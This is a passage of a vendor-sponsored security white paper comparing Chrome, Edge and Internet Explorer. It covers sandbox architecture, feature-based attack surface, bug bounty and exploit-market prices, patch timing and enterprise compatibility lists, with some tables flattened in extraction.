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1 Executive Summary

This white paper provides a technical comparison of the security features and attack surface of Google
Chrome,Microsoft Edge, and InternetExplorer. Weaim to identifywhichbrowser provides thehighest level
of security in common enterprise usage scenarios, and show how differences in design and implementation
of various security technologies in modern web browsers might affect their security.
Comparisons are done using a qualitative approach sincemany issues regarding browser security cannot
easily be quantified. We focus on the weaknesses of different mitigations and hardening features and take
an attacker’s point of view. This should give the reader an impression about how easy or hard it is to attack
a certain browser.
The analysis has been sponsored by Google. X41D-Sec GmbH accepted this sponsorship on the condition
that Google would not interfere with our testing methodology or control the content of our paper. We
are aware that we could unconsciously be biased to produce results favorable to our sponsor, and have
attempted to eliminate this by being as transparent as possible about our decision-making processes and
testingmethodologies.

RESULTS
It is clearly visible that newer browsers like Google Chrome andMicrosoft Edge are designed to be secure
and hardened against exploits. Restrictive enforcement of secure behaviour, strong sandboxing, mitigations
such as hardened compiler flags and runtime restrictionsmake exploiting browsers amuch harder task than
before. X41 D-Sec GmbH found that security restrictions are best enforced in Google Chrome and that the
level of compartmentalization is higher than inMicrosoft Edge. We consider Internet Explorer to be the
least secure browser, mainly because of incomplete sandboxing and support of legacy web technologies.
It was discovered that in the tested Microsoft Windows 10 system, Internet Explorer does not run in
Enhanced ProtectedMode (EPM), but instead in classical ProtectedMode (PM). This mode is considered
to be weak in comparison to AppContainer based sandboxing inMicrosoft Edge or the Google Chrome
sandbox. Regarding security in enterprise environments, we foundMicrosoft Edge and Internet Explorer
to be less secure due to legacy features. Notably, a default compatibility site list is active in Microsoft
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Edge. Sites on this list trigger a dialogue encouraging the user to open the site in Internet Explorer. X41
D-Sec GmbHwas able to register an expired domain included in this list to demonstrate it. By triggering a
downgrade to the less secure Internet Explorer via user interaction, advanced security features ofMicrosoft
Edge are not available on this site.
X41D-Sec GmbH found the general approach to sandboxing to be very different in the reviewed browsers.
Google Chrome tries to compartmentalize by having separated duties among dedicated processes that are
tightly locked down. It uses a combination of techniques to sandbox dangerous tasks such as rendering
untrusted content. The renderer and plugin processes do not have access to resources such as the file
system, registry, or the network. In contrast to this, Microsoft Edge and Internet Explorer have powerful
content processes that are able to render webpages completely standalone. We consider the underlying
AppContainer technology used inMicrosoft Edge to be effective in providing isolation. Yet the capabilities
assigned to the sandboxed processes ofMicrosoft Edge give partial access to resources such as the network,
file system, or theMicrosoftWindows registry. Microsoft Edge and Internet Explorer employ the most
operating system and compile-time security features to sandbox, isolate, and harden content processes
against privilege escalation and control flow hijacking. However, we find the capabilities of the content
processes to be quite extensive.
X41 D-Sec GmbH analyzed the enforcement of isolation for different websites among each other. This
aspect is highly important, since sandboxing is less useful if content from different origins is processed
inside the same sandbox. The isolation of privileged sites, such as configuration sites and extensions, is
found to be more complete in Google Chrome. No isolation based on common Internet web origins is
observed inMicrosoft Edge or Internet Explorer. In Google Chrome certain privileged sites such as the
extension app store, flags, and settings are isolated on a process level. Microsoft Edge also partially uses
process level isolation, for instance on settings pages or between private Intranet sites and Internet sites.
Notably, GoogleChromehas implemented amore restrictive site isolationmode as an experimental feature,
which increases site isolation evenmore. However, we discovered a general loophole that still allows partial
access to resources from different origins.
Google Chrome handles a number of web security aspects such as Content Security and Same Origin
Policies better. However, since it supports more HTML5 features, thesemay be abused for novel attacks.
Examples for this are ServiceWorkers, WebUSB, andWebBluetooth. Internet Explorer is the browser
with the least support for new web technologies, followed by Microsoft Edge. The more conservative
feature adoption ofMicrosoft Edge and Internet Explorer reduces the attack surface created by novel web
technologies.
On a positive note, novel web technologies introduced by Google Chrome andMicrosoft Edge are accom-
panied by specifications and documentation including security considerations and descriptions of possible
threats and attack vectors. Alsomost of these technologies are not enabled by default.
All three browsers have a number of attack vectors that can be used by attackers during phishing campaigns,
red teaming and other offensive activities. We consider this an important aspect of comparison since client-
side and phishing are common attack vectors observed in the browser domain.
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Internet Explorer and alsoMicrosoft Edge are themost vulnerable to client-side attacks, not only for the
number of exploits that have been released, but also because they still support legacy functionality like
HTML Applications or leak credentials via SMB resources. On the other hand, Google Chrome can be
conveniently targeted via browser extensions unless mitigated using Group Policies. Extensions allow
an attacker to almost fully control the browser, and X41D-Sec GmbHwas able to bypass the automated
checks implemented by the GoogleWeb Store.
The SafeBrowsing phishing protection of Google Chrome is found to bemore accurate than SmartScreen
used inMicrosoft Edge and Internet Explorer. However, both the protections are not bullet-proof andwill
likely not help defend against targeted spear phishing attacks, especially if the victim is not usingMicrosoft
nor Google mail services.
On a security usability side, Google Chrome also performs best. The Omnibox address bar is clear and
consistent in the usage of colors and icons, helping the users to take safe choices without additional clicks.
On the contrary, Microsoft Edge and Internet Explorer have a less clear address bar, for example using the
green color exclusively for sites with EV-SSL certificates.
All threebrowsers are updated automatically, themajor difference is themonthly update forMicrosoft Edge
and Internet Explorer versus the unscheduled update process forGoogleChrome,which gets patches faster
to the user. For all browsers, the update process ensures that only the correct binaries get downloaded
and installed. Google Chrome, being open source, allows the whole security community to examine their
code. Our results show that the Google Chrome security team takes less time to fix security issues from the
moment they are reported; which makes the time users are exposed to known vulnerabilities in Google
Chrome shorter than inMicrosoft Edge or Internet Explorer on average. Hardening features are usually
adopted by all three browsers directly after they become available by theOS or compiler. The exception for
the analysed features is Control FlowGuard (CFG), for which the coverage in Google Chrome is behind
Microsoft Edge and Internet Explorer. Google Chrome andMicrosoft Edge have bug bounties for security
vulnerabilities, whereas no such program exists for Internet Explorer. Prices paid for exploits are similar for
all the three browsers, up to $80,000 for a full working exploit.
In conclusion, Google Chrome andMicrosoft Edge employ modern isolation and mitigation techniques
and are designed to provide a secure web-browsing experience to users. In contrast, the security level
of Internet Explorer is lower than in the past since it now runs only in Protected Mode (PM) instead of
Enhanced ProtectedMode (EPM). Novel web technologies do create new attack vectors and attack surface
and Google Chrome supports more of these experimental technologies. Google Chrome andMicrosoft
Edge have mitigations against client side attacks and phishing. Both are similar in nature but we do see
a slight advantage for Google Chrome in this area. In our mind the enforcement of site isolation also in
lower level components is one of themost important security features that a browser should have today.
No browser enforces this currently in a completemanner, yet Google Chrome has experimental support
for amore complete implementation. We found that Google Chrome is more strict in enforcing security
restrictions, has a higher level of compartmentalization, andmore secure defaults.
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2 Methodology

Wediscuss various different features of the analyzed browsers and highlight various design decisions and
implementation differences on a feature local scope. Additionally, we provide an overview of the different
approaches to security and the techniques employed. We have chosen to use a qualitative approach in
our tests due to the distinctive approaches and design decisions of the different browsers. Readers are
encouraged to draw their own conclusions based on the informationwe provide, and in consideration of
their specific security needs.
Wewere able to identify a number of factors that may have influenced our efforts and the results of our
testing, including the following:

• some code is distributed as Open Source and could be inspectedmore closely than other code,
• each browser supports different features (see 4),
• bugsmight get fixed and features changedwhile the comparison is written,
• vulnerabilities in the wild might not be known to the vendors,
• not all vulnerabilities might be disclosed to the vendors,
• and not all relevant aspects might be included in this paper.

X41D-Sec GmbH has attempted to limit the effect of these factors as much as possible.
A previous report1 that is similar to this report received public criticism on the following items:

• malware sample set may be skewed,
• security technology rated differently (IE9 Just In Time (JIT) hardening),
• malware blocking capabilities misinterpreted.
1https://accuvantstorage.blob.core.windows.net/web/files/AccuvantBrowserSecCompar_FINAL.pdf
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We try to take this criticism into consideration as much as possible in the relevant sections. The interested
reader should take a look at other studies regarding this subject as well (e.g. by NSS Labs2), which highlight
different aspects.
Before this paper was written, we tried to identify the requirements for generating an overall rating of
each browser’s security. This would have required us to specify everything we planned to analyze in the
beginning and generate a scoring system for every subject. We found that some subjects could not be
quantified and that there would be various ways of quantifying others that could lead to different results.
Wewould also have had to applyweights to the various subjects to generate an overall rating. In the opinion
of the authors, such scoringmetrics andweights are always going to be subjective andwould not provide
an objective result that everyone could agree with. The weights could probably be modified to provide
whatever outcome onemight desire, potentially leading to endless debates. Last but not least, having to
define everything we planned to analyze up front would have prevented the authors from investigating
additional topics that came up during the project.
Instead of attempting to give an overall rating, we compared the different features and topics on an
individual basis and provide our findings. Where sensible we highlight potential issues and risk, and offer
our opinion on potential ways to improve. We believe this will provide the readerwith an accurate overview
of the current state of browser security.
Tomake results reproducible our tools and tests are available at https://github.com/x41sec/browser
-security-whitepaper-2017/.
The browsers versions analyzed in this report are:

• Google Chrome 61.0.3163.100,
• Microsoft Edge 40.15063.0.0 (EdgeHTML 15.15063), and
• Internet Explorer 11.296.15063.0

running onMicrosoftWindows 10 Build 15063.rs2_release.170317-1834.

2https://research.nsslabs.com/reports?Cat0=6#cat0=22
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3 Introduction

The three browsers covered in this white paper are similar in their feature sets, mostly because they all
attempt to adhere to the sameweb standards set by a number of standards organizations. However, the
way these standards are implemented and subsequently the architecture differs greatly. Modern browsers
have a feature set way beyond the original task of simply rendering HyperTextMarkup Language (HTML).
They offer a multitude of multimedia features, support extensions, and have built-in applications such
as Portable Document Format (PDF) readers and Adobe Flash. This has shown to have strong impact on
security in the past.
For security and stability reasonsmodern browsers run in a number of different processes that perform
various functions. Some of these processes are restricted using sandboxes and are only allowed to have
limited privileges.
We give an overview of the general architecture and the process models of the browsers. All browsers
consist of several logical components that might be split over different processes:

• Web engine / HTML rendering engine
• JavaScript engine
• Data I/O such as network I/O and filesystem operations
• Rendering / Graphics

In addition to the above, browser may have built-in support for showing PDF files and Adobe Flash, and
Internet Explorer supports a number of legacy technologies, including ActiveX and Browser Helper Object
(BHO)s.
To improve stability and security, all three web browsers run their various components in several different
processes that use IPC to communicate. There is a broker process that communicates with several client
processes. The client processes perform specific complex tasks such as rendering websites fromHTML, but
do not have access to most of the system. The broker process does have access to the system, but performs
a very limited set of tasks.
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All browsers use isolation techniques to enforce security restrictions. They are described in detail in
section 7.

3.1 GOOGLE CHROME

Figure 3.1: Chrome Logical Components
Google Chrome is developed by Google andwas first released in 2008. It is a freeware browser available
for various platforms. Subject of this comparison is Google Chrome onMicrosoftWindows 10 in enterprise
environments.
Initially Google Chrome used theWebKit layout engine to render HTML, but it was forked into a newweb
engine called Blink, which has been used since Google Chrome version 28.
JavaScript support is implemented using the Chrome V8 engine. It is an open source1 engine developed by
the Chromium Project2.
The default process model in Google Chrome uses separate processes that all run the same process image
(chrome.exe). These processes can be divided into the following types:

• Browser Process (medium integrity)
• GPU Process (low integrity)
• Renderer / Tab Processes (untrusted integrity)
• Plugin-In Processes - for example PDF and Flash (untrusted integrity)
• Crashpad Handler Process (medium integrity): Crash reporting
1https://developers.google.com/v8/
2https://www.chromium.org
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• Watcher Process (medium integrity)
• Utility Processes: Short lived processes for specific tasks (untrusted integrity)

The logical components are not necessarily reflected in the process model. They are shown for Google
Chrome in figure 3.1.
The browser process is themain process and controls the render processes. The renderer processes render
the webpages shown in the tabs and windows of the browser. Settings and about: pages are hosted in
renderer processes as well. In contrast toMicrosoft Edge and Internet Explorer, the renderer processes do
not perform network communication directly. Google Chrome exclusively uses IPC over named pipes for
communication between the different processes.
More information about the Google Chrome sandbox can be found in section 7.3.

3.2 MICROSOFT EDGE

Figure 3.2: Edge Logical Components
Microsoft Edge is developed by Microsoft as the successor to Internet Explorer. It is the default web
browser inMicrosoftWindows 10 on all device classes. Microsoft Edge supports new features but also
abandons several technologies available in Internet Explorer such as ActiveX and the BHO, which have
historically been a source of many vulnerabilities and were commonly abused in attacks. According to
Microsoft, Microsoft Edge development is strongly focused on security and support for establishedweb
standards.
Microsoft Edge uses EdgeHTML as its layout engine, which is a fork of Trident— the layout engine used by
Internet Explorer— that wasmostly rewritten according3 toMicrosoft. Microsoft Edge uses the Chakra
3https://blogs.windows.com/msedgedev/2015/02/26/a-break-from-the-past-the-birth-of-microsofts-new-web

-rendering-engine/
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JavaScript engine. The core of this engine, called ChakraCore4, is open source.
The default process model in Microsoft Edge uses separate processes that run a number of different
binaries:

• MicrosoftEdge.exe (medium integrity): Main browser process
• MicrosoftEdgeCP.exe (Web) (AppContainer): Content processes for web content
• MicrosoftEdgeCP.exe (UI) (AppContainer): Content processes for new tab pages.
• MicrosoftEdgeCP.exe (Extensions) (AppContainer): Content processes for extensions.
• MicrosoftEdgeCP.exe (Settings) (AppContainer): Content processes for settings pages.
• MicrosoftEdgeCP.exe (Flash) (AppContainer): Content processes for Flash
• MicrosoftEdgeCP.exe (OOP JS) (AppContainer): Process for JIT JavaScript compilation
• browser_broker.exe (medium integrity): Broker process
• RuntimeBroker.exe (medium integrity): PermissionManagement

Microsoft Edge is a Universal Windows Platform (UWP) application and these processes are therefore
spawned from svchost.exe. This also means Microsoft Edge interacts with a number of other processes
that are part of the UWPApp framework, such as those running ApplicationFrameHost.exe. These are not
considered to be part of the browser itself andwill not be covered in this paper.
Installation of extensions can be initiated from the browser via the Windows Store, but requires user
interaction, as the browser only opens the Store App: the user must then actively choose to install the
extension in the Store app.
Logical components ofMicrosoft Edge are shown in figure 3.2. As in Google Chrome they also do notmap
directly to the process model.
Themain browser process is responsible for rendering the tab User Interface (UI) and shared navigation
elements. Because this contains the address bar, the end-user will have tomake security decision onwhat it
displays. This should thereforebevery tightly controlled: this sensitive informationmust not be controllable
from amalicious webpage. Microsoft Edge uses content processes to render such content. Adobe Flash
runs in a separate process. During testing, we discovered that loading Adobe Flash in a webpage causes the
service that starts theMicrosoft Edge processes to also start a process running FlashUtil_ActiveX.exe. Killing
this process does not appear to affect the functionality of the Flash content in the webpage; it remains
functional and interactive. If this process is killed, it is not automatically re-created, except when a new
webpage containing Flash is loaded, or an existing page running Flash is reloaded. The purpose of this extra
process is not entirely clear, but the binary contains many strings of text that suggests it is used to check for
4https://github.com/microsoft/ChakraCore
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updates. After the initial communication no further communication between content processes and this
process were seen.
The browser broker provides access to a limited set of sensitive resources, such as Distributed Component
ObjectModel (DCOM) andWindows Runtime (WinRT), to the various sandboxed AppContainers.
More information about theMicrosoft Edge sandbox is given in section 7.5.

3.3 MICROSOFT INTERNET EXPLORER (IE)

Figure 3.3: Internet Explorer Logical Components
Internet Explorer is a series of web browsers developed byMicrosoft. It has been included in theMicrosoft
Windows operating systems since 1995. There have been 11major versions of Internet Explorer, and the
browser has changed drastically over the two decades of its existence. MicrosoftWindows 10 comes with
Internet Explorer 11 installed by default. Especially in Enterprise contexts, Internet Explorer is widely used
to support legacy applications that rely on technologies and features only available in Internet Explorer.
This is themain reasonwhy Internet Explorer was included in this comparison even though it is officially
superseded byMicrosoft Edge.
OnMicrosoftWindows operating systems sinceWindows 8, but beforeWindows 10, Internet Explorer can
be run in two “modes”: as aMetro App and as a desktop application. When run as aMetro App, features
such as plug-ins, ActiveX, and BHOs are disabled and Enhanced ProtectedMode is enabled, which provided
AppContainer sandboxing. When run as a desktop application, all legacy features are enabled and no
AppContainer sandboxing is applied. Note that some legacy features, such asVBScript andVML are only
available on 32-bit versions ofWindows.
InMicrosoftWindows 10, Internet Explorer as aMetro App is replaced byMicrosoft Edge, but the desktop
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application is still available and can be used to browsewebsites that were designed for older versions of
Internet Explorer and rely on legacy features that are not available inMicrosoft Edge. This is especially
notable in the context of enterprise site mode and legacy sites described in section 6.1.2.
The logical components of Internet Explorer are based on the Loosely-Coupled IE (LCIE) model introduced
in Internet Explorer version 8 as depicted in figure 3.3.
These logical components do not map to the process model one-to-one.

• iexplorer.exe (medium integrity): Main browser process UI Frame and broker.
• iexplorer.exe (low integrity): Tab processes for web content

Themain process functions as a broker and UI frame process and additional child-processes are created for
rendering webpages in tabs. In versions ofMicrosoftWindows prior toWindows 10, tab processes can be
sandboxed using AppContainers by enabling EPM. Otherwise, ProtectedMode is used, in which case tab
processes are runwith a low integrity level, while themain process runs with amedium integrity level.
On the testedMicrosoftWindows 10 system awebpage can be opened in Internet Explorer directly, but
also fromMicrosoft Edge in specific situations (for compatibility reasons). In both cases EPM is not enabled,
meaning no AppContainers are used.
More information about the sandbox of Internet Explorer and lack of EPM inMicrosoftWindows 10 can be
found in section 7.5.
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4 Attack Surface

In this section wewill look at how complexity can affect the security of software. Software complexity itself
is hard to quantify, but there are several ways onemight consider approximating it.

4.1 SUPPORTED STANDARDS
Content can be specified in different ways, which a browser is required to support. This subsection
compares the features supported.

4.1.1 Web Technologies
At the time of 2017-04-27,Wikipedia1 listed the support as shown in Table 4.1.
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Google Chrome      # # #
Microsoft Edge       # #
Internet Explorer      #   

Table 4.1:Web Technologies supported by Browsers ( - True,# - False,G# - Partly)

The newerWeb Forms standard is only supported byMicrosoft Edge. SynchronizedMultimedia Integration
Language (SMIL) and Vector Markup Language (VML) are only supported by Internet Explorer, but not
by themoremodern browsers. Also, Internet Explorer 11 still supports VMLwhen Internet Explorer 10
documentmode is set via meta tags.
1https://en.wikipedia.org/wiki/Comparison_of_web_browsers#Web_technology_support
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Since features are more finegrained than just the support for a standard, the caniuse2 database3 was
queried for more details. At 2017-07-05 a total of 417 features was listed in the database, therefore only a
summarized overview is given in table 4.2.
Browser Supported Not supported Partial Support Implemented, but switched off
Google Chrome 59 321 60 36 0
Microsoft Edge 15 237 133 45 2
Internet Explorer 11 168 184 66 0

Table 4.2: Support for FrontendWeb Technologies According to caniuse.com

As shown, according to caniuse, Google Chrome supports the most features, Microsoft Edge coming in
second, and Internet Explorer supports the least amount of features. Of the 417 features, 157 were
supported by all three browsers and 37 by no browser.
The Acid tests, compare subsets of different standards (HyperText Transfer Protocol (HTTP), Document
ObjectModel (DOM), HTML and Extensible HyperTextMarkup Language (XHTML) among others) to test
compliance between different browsers. When comparing Acid4 scores, all three browsers were Acid 1, 2
and 3 compliant, therefore supporting the same set of features.
We tested compliancewith the newerHTML5 standard using https://html5test.com and got the results
shown in table 4.3.

Browser HTML5test score
Google Chrome 59.0.3071.86 518/555
Microsoft Edge 40.15063.0.0 468/555
Internet Explorer 11.296.15063.0 312/555

Table 4.3: HTML 5 Test Scores

Google Chrome received the highest HTML 5 scores, and possibly provides the biggest attack surface in
this area compared to the other browsers. The older Internet Explorer supports the least amount of the
newer features.
JavaScript is heavily used by websites to provide interactive content to visitors. As of 2017-04-26,
Wikipedia5 lists support for JavaScript technologies as shown in Table 4.4.
2https://caniuse.com
3https://github.com/Fyrd/caniuse/blob/master/data.json
4http://acid3.acidtests.org/
5https://en.wikipedia.org/wiki/Comparison_of_web_browsers#JavaScript_support
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Table 4.4: JavaScript Support ( - True,# - False,G# - Partly)

Besides the protocols to transfer content and the markup languages, other content is also parsed and
displayed by the different browsers. Among this other content are images used in the websites.
As of 2017-04-26,Wikipedia6 lists the support of image formats as shown in Table 4.5.
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Table 4.5: Image Format Support ( - True,# - False,G# - Partly)

The JPEGXR format developed byMicrosoft is just supported by theMicrosoft Browsers. In contrast, the
WebP format developed by Google is just supported on Google Chrome. The Animated Portable Network
Graphics (APNG) format and X BitMap (XBM) are supported by Google Chrome as well, and not by the
Microsoft browsers, which are able to handle Tagged Image File Format (TIFF) files. The PDF format is
supported native by Google Chrome andMicrosoft Edge, whereas Internet Explorer can use the Adobe
Plugin to display PDF content.

6https://en.wikipedia.org/wiki/Comparison_of_web_browsers#Image_format_support
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5 Organizational Security Aspects

This section covers non-technical aspects of security including economic and social factors that reflect the
state of play in application and platform security.

5.1 BUG BOUNTIES
Various vendors have bug bounty programs to reward security researchers for reporting security vulnera-
bilities in their products. They are intended tomotivate researchers to look for and report security issues
to the vendor directly, rather than sell information about these issues and/or working exploits for them to
third parties.
The rewards offered by the bug bounty programs that cover issues in the web browsers are similar. But
Google does offer rewards for a wider range of security issues.

5.1.1 Google Chrome
As of 2017-06-071, Google is offering rewards for different security issues depending on the quality of the
report (see table 5.1).

High-quality
report with
exploit

High-quality
report

Baseline Low-quality
report

Sandbox Escape $15,000 $10,000 $2,000 - $5,000 $500
Renderer Remote Code Execution $7,500 $5,000 $1,000 - $3,000 $500
Universal Cross-site Scripting (XSS) $7,500 $5,000 N/A N/A
Information Leak $4,000 $2,000 $0 - $1000 $0
Download Protection bypass N/A $1,000 $0 - $500 $0

Table 5.1: Google Chrome Bug Bounty Rewards
1https://www.google.com/about/appsecurity/chrome-rewards/
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Google started the bug bounty program in 20102 when such programswere not very common yet, and paid
prices up to $60,000 two years later3.

5.1.2 Microsoft Edge
Microsoft offered a temporary bug bounty program forMicrosoft Edge4 that was to run until 2017-06-30,
for a select set of issues with prices depending on the type of issue and the quality of the report (see
table 5.2). This programwas changed5 into a sustained bug bounty program, which was still effective on
2017-06-07.

Vulnerability Exploit PoC Report Quality Payout Range
RCE Required Required High Up to $15,000
RCE No Required High Up to $6,000
RCE No Required Low Up to $1,000
Privacy Compromise No Required High Up to $6,000
Privacy Compromise No Required Low Up to $1,500

Table 5.2:Microsoft Edge Bug Bounty Rewards

In addition to the browser security bug bounty program,Microsoft is offering bug bounties for mitigation
bypasses6 and additional defense techniques. Microsoft started offering bug bounty programs in 20137,
three years after Google.

5.1.3 Internet Explorer
As of 2017-06-07, no Internet Explorer specific bug bounty program exists. The last temporary bug bounty
programended on2013-07-268. It rewarded up to $11,000 for critical vulnerabilities that affected Internet
Explorer 11 preview on the latestMicrosoftWindows versions.

5.2 EXPLOIT PRICING
Information about security issues and exploits for these issues have significant financial value to various
groups of people, such as security penetration testing teams, cyber criminals, law enforcement, and intelli-
2https://blog.chromium.org/2010/01/encouraging-more-chromium-security.html
3https://blog.chromium.org/2012/02/expanding-chromium-security-rewards.html
4https://technet.microsoft.com/en-us/library/mt761990.aspx
5https://blogs.technet.microsoft.com/msrc/2017/06/21/extending-the-microsoft-edge-bounty-program/
6https://technet.microsoft.com/en-us/library/dn425049.aspx
7https://technet.microsoft.com/en-us/library/dn425036.aspx
8https://technet.microsoft.com/en-us/library/dn425036.aspx
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gence agencies. Their price is influenced by supply (the number of issues that can be found and the effort
required to find and exploit them) and demand (the number of buyers and what targets they are interested
in). Market forces will drive the price of exploits upwhen they are in high demand or low availability. The
latter usually means it is hard to find issues and/or exploit them in a target.
X41 D-Sec GmbH found a number of public sources for information about exploit pricing and asked a
number of other sources, but found none of themwerewilling to go on the record about their prices. We
have decided to include only public sources that can be independently verified and excluded the information
provided by brokers that were not willing to go on record. X41D-Sec GmbH considers it a very realistic
possibility that there are parties that are willing to offer much higher amounts thanwhat we report here.
The prices we found in the public sources are all very similar, at around $80,000 for a working exploit with
sandbox escape.

5.2.1 Zerodium
As of 2017-08-23, Zerodium9 buys exploits for Google Chrome andMicrosoft Edge. Until August 2017
they also offered up to $80,000 for exploits targeting Internet Explorer. They offer two different price
levels; one for an exploit without Sandbox Escape (SBX) and one that includes SBX (see table 5.3).

Browser No SBX With SBX
Google Chrome $50,000 $150,000
Microsoft Edge $30,000 $80,000
Internet Explorer10 $30,000 $80,000

Table 5.3: Zerodium Exploit Prices

The prices offered for Google Chrome are the highest. In general the prices offered are substantially higher
than the bug bounties offered by the vendors.

5.2.2 Pwn2Own
The Pwn2Own contest pays prices for successful exploitation of different targets11. For the 2017 contest,
a reward of $80,000 is offered to the team which has a working exploit for either Google Chrome or
Microsoft Edge. There is no reward for a working Internet Explorer exploit. If an exploit is able to escalate
to SYSTEM-level privileges, an additional reward of $30,000 is offered. These amounts are similar to those
offered by Zerodium. The history of the reward amounts offered can be seen in table 5.4.
9https://zerodium.com/program.html
10Deleted as of 2017-08-23
11http://zerodayinitiative.com/Pwn2Own2017Rules.html
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Browser 2017 2016 2015 2014 2013
Google Chrome $80,000 $65,000 $75,000 $100,000 $100,000
Microsoft Edge $80,000 $65,000 - $100,000 $100,000
Internet Explorer - - $65,000 - -

Table 5.4: Pwn2Own Prices over the Years
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5.2.3 vuldb
vuldb12 is a vulnerability database, which calculates exploit prices for exploits in their database13. At
2017-06-07, we queried their data to extract relevant information about our browser and constructed a
chart (see figure 5.314).

Figure 5.1: Google Chrome vuldb Prices

Figure 5.2:Microsoft Edge vuldb Prices

Figure 5.3: Internet Explorer vuldb Prices

The prices calculated by vuldb aremodeled after real market prices, but do not necessarily reflect them.
12https://vuldb.com/?
13https://vuldb.com/?doc.exploitprices
14CCBY-NC-SA 4.0., with permission of scip.ch

X41D-SECGmbH Page 25 of 197

https://vuldb.com/?
https://vuldb.com/?doc.exploitprices


Browser SecurityWhite Paper

5.3 HISTORY OF VULNERABILITIES
Investigating the security history of software projects can provide some insight into how security issues
have been handled in the past. Though historical data does not necessarily reflect the current state of
affairs, it should give some indication of the effectiveness of organizational processes surrounding security.

5.3.1 Update Frequencies
There are twomain reasons why a vendormay issue an update for software: to address issues in existing
features, or to introduce new features. Since we are comparing the stable versions of Google Chrome,
Microsoft Edge and Internet Explorer, we assumemost of their updates to contain fixes for security issues.
In this scenario, the frequency bywhich software is updated can indicate howoften security critical security
fixes are applied. Frequent updates might indicate a need to fixmany security issues, but also suggests fixes
are being rolled out to the customers as soon as possible. Less frequent updates could suggest the software
has less security issues that need to be addressed, but could alsomean that fixes are being collected for
some period before being released as a bundle.
There is considerable uncertainty in using update frequency as an indicator for security, and we do not
considered it a reliable metric. We have analyzed this and provide our findings for informational purposes
only.
To measure the update frequencies of Google Chrome, the Chrome Releases Blog15 was used, and the
Channel Update for Desktop postings extracted.

Figure 5.4: Google ChromeUpdate Frequency

ForMicrosoft Edge and Internet Explorer (see figure 5.6), the Security Update Guide16 was used. The data
follows the Patch Tuesday17 schedule ofMicrosoft, where updates are released on a schedule that allows
administrators to plan ahead, rather than release updates unscheduled whenever they are needed. For all
three browsers, we analyzed the time frame from 2016-08-03 to 2017-03-29, as wewere able to extract
valid information from our sources over this time period (see figure 5.4).
Microsoft’s adherence to the “Patch Tuesday” schedule can cause delays to the public availability of im-
15https://chromereleases.googleblog.com/
16https://portal.msrc.microsoft.com/en-us/security-guidance
17https://en.wikipedia.org/wiki/Patch_Tuesday
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portant updates that are longer than they are for Google Chrome, as Google Chrome updates aremore
frequent thanMicrosoft Edge or Internet Explorer updates.

Figure 5.5:Microsoft Edge Update Frequency

Figure 5.6: Internet Explorer Update Frequency

5.3.2 Time to Patch
The time vendors need to create and release fixes for security issues that are reported to them by exter-
nal parties are influenced by the complexity of addressing such issues and the resources a vendor has
committed to this.
Drawing reasonable conclusions from this time-to-patch for an individual issue may not be possible: it
can be hard to objectively measure how the two factors mentioned above affected it andwhether special
circumstances specific to a casemay have influenced it. However, given a large enough number of cases,
the influence of the complexity of individual issues should even out, as should the effect of any special
circumstances for specific bugs. This would allow us to get a value for the average time-to-patch for the
average bug. The value obtained this waymay give an indication of the resources dedicated to addressing
security issues by each vendor.
This report looks at all Zero Day Initiative18 advisories published in 201619 for the three browsers. We
decided to use this information because it is public, it covers a reasonable number of bugs in all three
browsers and comes from an independent third-party, meaning it does not include any findingsmade by the
vendors themselves. For all advisories, the geometric meanwas calculated between the time the vendor
was contacted and the coordinated release of a fix (see figure 5.7).
The number of bugs reported differs for each of the three browsers: it contains 8 advisories for Google
Chrome, 21 forMicrosoft Edge and 29 for Internet Explorer. In this comparison, Google Chrome issues
were patched the fastest, with Internet Explorer issues being the slowest.
18https://www.zerodayinitiative.com/
19http://zerodayinitiative.com/advisories/published/2016/
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Figure 5.7: Days to Patch

It should not come as a surprise that Google Chrome has the lowest time-to-patch, as Google released
updatesmore frequently. Microsoft adheres to the oncemonthly Patch-Tuesday schedule, whichmeans
the release of updates may be delayed to fit into this schedule.

X41D-SECGmbH Page 28 of 197



6 Enterprise Features

This report focuses on the Google Chrome,Microsoft Edge, and Internet Explorer in enterprise contexts.
The following gives an overview of the enterprise features relevant to security. This report exclusively con-
sidersMicrosoftWindows based enterprise environments, therefore centrallymanaged ChromeOS devices
are not covered.

6.1 LEGACY AND COMPATIBILITY FEATURES
Enterprise environments often need to support legacy applications that depend on outdated technologies,
such as deprecated APIs or non-standard features that existed in older versions of Internet Explorer, but
are no longer available in modern browsers. Many of these technologies were not designedwith security
in mind, andmay contain by-design security issues. They were frequently implemented before security
was an integral part of software development and contain more implementation issues thanmodern code.
To limit the risk they pose, access should be severely restricted using whitelists. It is the responsibility of
network administrators to add only trusted sites to such legacy browsing whitelists. Google Chrome and
Microsoft Edge offer different ways to configure whitelists that allow specific sites to be opened in Internet
Explorer for access to legacy features.

6.1.1 Chrome Legacy Browser Support
Support for opening specificwebsites in Internet Explorer is available via theChrome Legacy Browser Support
extension1 and an Add-on2 for Internet Explorer. The list of websites that should be opened in Internet
Explorer can be configured using the “Hosts to Open In the Alternative Browser” group policy setting. The
Internet Explorer Add-on is required for the extension to be able to open links to these websites correctly.
An attacker might want to force a website under their control to be opened in Internet Explorer from
Google Chrome in order to exploit an Internet Explorer specific vulnerability. However, assuming the
1https://chrome.google.com/webstore/detail/legacy-browser-support/heildphpnddilhkemkielfhnkaagiabh
2https://tools.google.com/dlpage/legacybrowsersupport
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attacker does not control anywebsite already in this list, the attacker would first have to try to add their
website to the list defined by the group policy setting. Since an attacker who has this capability can already
doworse things than reconfiguring legacy browser support, X41D-Sec GmbH considers this strategy as
secure.

6.1.2 Microsoft Edge EnterpriseMode and Compatibility List
Specific websites and apps that are not compatible withMicrosoft Edgemay be configured to be opened in
Internet Explorer via the Enterprise Mode Site List.
The list of sites to be opened in Internet Explorer must be specified using an ExtensibleMarkup Language
(XML) file. This is described in the article “Use Enterprise Mode to improve compatibility”3 byMicrosoft. A list
of example locations where this file can be stored are also provided in the documentation:

• HTTP location: “SiteList”=“http://localhost:8080/sites.xml”
• Local network: “SiteList”=“\\network\shares\sites.xml”
• Local file: “SiteList”=“file:///c:\\Users\\<user>\\Documents\\testList.xml”

X41 D-Sec GmbH does not consider all these locations to be adequately secure to store this sensitive
information: network shares might be compromised by an attacker looking to move from one machine
onto another inside a compromised network by adding sites to the list and enticing users to open links to
websites on this list that the attacker controls.
Additionally, there is theMicrosoft Compatibility List, which defines a list of public websites that will be
opened in Internet Explorer by default. Use of this list can be configured using the “AllowMicrosoft Compati-
bility List” group policy setting and is enabled by default.

Figure 6.1:Microsoft Compatibility List (via about:compat)

At the time of writing the list contains 1577 sites, of which figure 6.1 shows a sampling.
